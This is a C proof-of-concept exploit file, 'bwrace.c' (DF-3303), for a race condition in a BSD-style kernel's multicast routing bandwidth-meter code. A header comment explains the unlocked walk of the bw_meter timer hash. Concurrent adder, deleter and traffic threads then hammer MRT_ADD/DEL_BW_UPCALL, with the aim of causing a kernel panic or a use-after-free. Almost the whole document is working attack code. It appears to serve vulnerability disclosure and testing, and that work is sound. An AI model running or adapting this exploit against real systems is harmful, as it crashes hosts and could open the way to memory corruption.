DF-3303 / bwrace.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 | /* * DF-3303 PoC: del_bw_upcall(DELETE_ALL) / del_mfc call free_bw_list() * AFTER releasing mroute_token. free_bw_list() -> unschedule_bw_meter() * walks and mutates the global bw_meter_timers[] hash WITHOUT the token, * racing bw_meter_process() (1 Hz callout, token held) which disconnects * whole buckets (tmp_list = bw_meter_timers[i]; bw_meter_timers[i] = NULL) * and relinks entries. Result: either * panic("unschedule_bw_meter: bw_meter entry not found") * or a use-after-free when bw_meter_process() reschedules a bw_meter that * free_bw_list() just kfree()d. * * Strategy: 4 adder threads install unique LEQ/UNIT_BYTES meters at max * rate (unique bu_threshold.b_bytes, else add_bw_upcall() dedupes); 4 * deleter threads issue MRT_DEL_BW_UPCALL(DELETE_ALL) every 10 ms. The * live meter population self-stabilizes at (add rate x 10 ms), so each * delete's unlocked free-walk is in flight a sizable fraction of the * time; whenever the 1 Hz tick disconnects the 3 s-old bucket during a * free-walk, the free walk unschedules an entry that is in no bucket -> * panic. A traffic thread keeps bm_measured above the (tiny) thresholds * so the tick walk fires no upcalls and stays fast. * * build: cc -O2 -Wall -pthread -o bwrace bwrace.c * run: ./bwrace [seconds] */ #include <sys/param.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include "ip_mroute_common.h" #define RUN_SECS 240 static struct in_addr g_src, g_grp; static volatile uint32_t uniq; static volatile int stop_now; static int g_raw; static uint16_t cksum(const struct ip *ip) { const uint16_t *w = (const uint16_t *)ip; uint32_t sum = 0; int i; for (i = 0; i < 10; i++) sum += w[i]; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (~sum & 0xffff); } static void send_traffic(int n) { struct sockaddr_in dst; char pkt[128]; struct ip *ip = (struct ip *)pkt; int i; memset(pkt, 0, sizeof(pkt)); ip->ip_hl = 5; ip->ip_v = IPVERSION; ip->ip_len = htons(sizeof(pkt)); ip->ip_ttl = 5; ip->ip_p = IPPROTO_UDP; ip->ip_src = g_src; ip->ip_dst = g_grp; memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_len = sizeof(dst); dst.sin_addr = g_grp; for (i = 0; i < n; i++) { ip->ip_id = htons(i + 1); ip->ip_sum = 0; ip->ip_sum = cksum(ip); if (sendto(g_raw, pkt, sizeof(pkt), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0) return; } } static void * adder(void *arg) { int fd = *(int *)arg; struct bw_upcall u; while (!stop_now) { memset(&u, 0, sizeof(u)); u.bu_src = g_src; u.bu_dst = g_grp; u.bu_flags = BW_UPCALL_UNIT_BYTES | BW_UPCALL_LEQ; u.bu_threshold.b_time.tv_sec = 3; u.bu_threshold.b_packets = 0; u.bu_threshold.b_bytes = 1 + (++uniq % 256); if (setsockopt(fd, IPPROTO_IP, MRT_ADD_BW_UPCALL, &u, sizeof(u)) < 0) { if (errno != EADDRNOTAVAIL) perror("ADD_BW_UPCALL"); usleep(500); } } return NULL; } static void * deleter(void *arg) { int fd = *(int *)arg; struct bw_upcall u; memset(&u, 0, sizeof(u)); u.bu_src = g_src; u.bu_dst = g_grp; u.bu_flags = BW_UPCALL_DELETE_ALL; while (!stop_now) { setsockopt(fd, IPPROTO_IP, MRT_DEL_BW_UPCALL, &u, sizeof(u)); usleep(10000); } return NULL; } static void * trafficker(void *arg) { (void)arg; while (!stop_now) { send_traffic(64); /* 8 KB measured >> 256 max thresh */ usleep(250000); } return NULL; } int main(int argc, char **argv) { struct mfcctl2 mfc; struct vifctl vc; uint32_t api; int fd, rc, secs = RUN_SECS, i, one = 1; pthread_t th[9]; int nth = 0; if (argc > 1) secs = atoi(argv[1]); fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP); if (fd < 0) { perror("raw igmp socket (must run as root)"); exit(1); } rc = mrt_init(fd); if (rc < 0) { perror("MRT_INIT"); exit(1); } api = MRT_MFC_BW_UPCALL; rc = setsockopt(fd, IPPROTO_IP, MRT_API_CONFIG, &api, sizeof(api)); printf("MRT_API_CONFIG(BW_UPCALL) rc=%d api=0x%x\n", rc, api); if (rc < 0) { perror("MRT_API_CONFIG"); exit(1); } g_src.s_addr = inet_addr("1.2.3.4"); g_grp.s_addr = inet_addr("224.200.0.7"); memset(&vc, 0, sizeof(vc)); vc.vifc_vifi = 0; vc.vifc_flags = 0; vc.vifc_threshold = 0; vc.vifc_rate_limit = 0; vc.vifc_lcl_addr.s_addr = inet_addr("10.0.2.15"); vc.vifc_rmt_addr.s_addr = inet_addr("255.255.255.0"); rc = setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vc, sizeof(vc)); printf("MRT_ADD_VIF rc=%d\n", rc); if (rc < 0) { perror("MRT_ADD_VIF"); exit(1); } memset(&mfc, 0, sizeof(mfc)); mfc.mfcc_origin = g_src; mfc.mfcc_mcastgrp = g_grp; mfc.mfcc_parent = 0; rc = setsockopt(fd, IPPROTO_IP, MRT_ADD_MFC, &mfc, sizeof(mfc)); printf("MRT_ADD_MFC rc=%d\n", rc); if (rc < 0) { perror("MRT_ADD_MFC"); exit(1); } g_raw = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (g_raw < 0) { perror("raw socket"); exit(1); } setsockopt(g_raw, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); one = 5; setsockopt(g_raw, IPPROTO_IP, IP_MULTICAST_TTL, &one, sizeof(one)); one = 0; setsockopt(g_raw, IPPROTO_IP, IP_MULTICAST_LOOP, &one, sizeof(one)); for (i = 0; i < 4; i++) pthread_create(&th[nth++], NULL, adder, &fd); for (i = 0; i < 4; i++) pthread_create(&th[nth++], NULL, deleter, &fd); pthread_create(&th[nth++], NULL, trafficker, NULL); printf("racing adders(4) vs delers(4x10ms) for %d seconds...\n", secs); fflush(stdout); sleep(secs); stop_now = 1; for (i = 0; i < nth; i++) pthread_join(th[i], NULL); printf("no panic in %d seconds\n", secs); return 0; } |